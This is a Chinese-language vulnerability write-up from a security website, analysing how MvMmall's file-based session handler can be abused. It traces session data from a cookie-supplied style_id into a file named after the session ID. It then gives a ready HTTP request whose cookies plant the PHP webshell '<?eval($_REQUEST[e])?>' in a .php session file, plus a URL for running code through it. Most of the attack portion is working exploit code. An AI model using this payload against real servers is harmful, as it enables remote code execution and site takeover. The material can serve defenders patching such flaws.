首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
MvMmall漏洞分析
来源:http://www.t00ls.net/thread-3817-1-1.html 作者:Sobiny 发布时间:2009-12-17  

经过分析。此程序的session的记录方式是通过 include/session.class.php文件。

此文件的 mvm_session 类的
 

01.   function handler(){
02.        session_module_name('user');
03.        session_set_save_handler(
04.            array('mvm_session', 'open'),
05.            array('mvm_session', 'close'),
06.            array('mvm_session', 'read'),
07.            array('mvm_session', 'write'),
08.            array('mvm_session', 'destroy'),
09.            array('mvm_session', 'gc')
10.            );
11.    }

函数初始化并且定义了session 的各个方法。。
    主要是说说write函数:

 

01.    function write($sid, $sess_data){
02.        global $sess_save_path, $sess_data_md5, $sess_save_name;
03.        $sess_file = $sess_save_path . '/mvm_sess_' . $sid;
04.        if($sess_data == ""){
05.            mvm_session::debug('不需写入', __line__);
06.            return true;
07.        }
08.        if(md5($sess_data) == $sess_data_md5){
09.            mvm_session::debug('不需更新,数据没发生变化', __line__);
10.            return touch($sess_file);
11.        }
12.        else{
13.            mvm_session::debug('写入的文件地址:' . $sess_file, __line__);
14.            $sess_file_handle = fopen($sess_file, 'w');
15.            if($sess_file_handle){
16.                return fwrite($sess_file_handle, $sess_data);
17.                fclose($sess_file_handle);
18.            }
19.            else
20.            {
21.                return false;
22.            }
23.        }
24.    }
25.    只要我们控制了 $sid $sess_data的话。那么SHELL就能写进去了。
26.  
27.    再看。header.php文件的 94行开始:
28.        if($style_id){
29.        unset( $_SESSION['mvm_style_id']);
30.        $_SESSION['mvm_style_id'] = $style_id;
31.}elseif ($_SESSION['mvm_style_id']){
32.        $style_id = $_SESSION['mvm_style_id'];
33.}else {
34.        $style_id = $mm_default_style;
35.}

这个 style_id 是由外部得来的。所以只要我们控制了style_id就可以把一个session的值改变。
于是构造封包:
 

1.GET /index.php HTTP/1.1
2.Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
3.Accept-Language: zh-cn
4.User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; DomoloSNSBrowser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)
5.Host: 127.0.0.1
6.Connection: Keep-Alive
7.Cache-Control: no-cache
8.Cookie: PHPSESSID=4.php; mvmall_cart=1250187025_88060; style_id=%3C%3Feval%28%24%5FREQUEST%5Be%5D%29%3F%3E

在COOKIE里面。定义了style_id于是出现了文件:

1.data\session\mvm_sess_4.php 内容:mvmmall_join|s:7:"mvmmall";mvm_style_id|s:22:"<?eval($_REQUEST[e])?>";sum_cart|a:2:{s:5:"price";s:7:"¥0.00";s:4:"nums";N;}

测试方式:http://127.0.0.1/data/session/mvm_sess_4.php?e=phpinfo();


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·对Fckeditor的一些漏洞总结
·supersite7.5找回密码的鸡肋问题
·php168 v6.0拿shell漏洞
·PHPMPS 0day
·dvbbs 8.2前台0day
·Google Wave XSS(Unpatched)
·Discuz!的最新拿Webshell法,测
·PHP漏洞全解(六)-跨网站请求伪造
·PHP漏洞全解(五)-SQL注入攻击
·PHP漏洞全解(四)-xss跨站脚本攻
·PHP漏洞全解(三)-客户端脚本植入
·PHP漏洞全解(二)-命令注入攻击
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved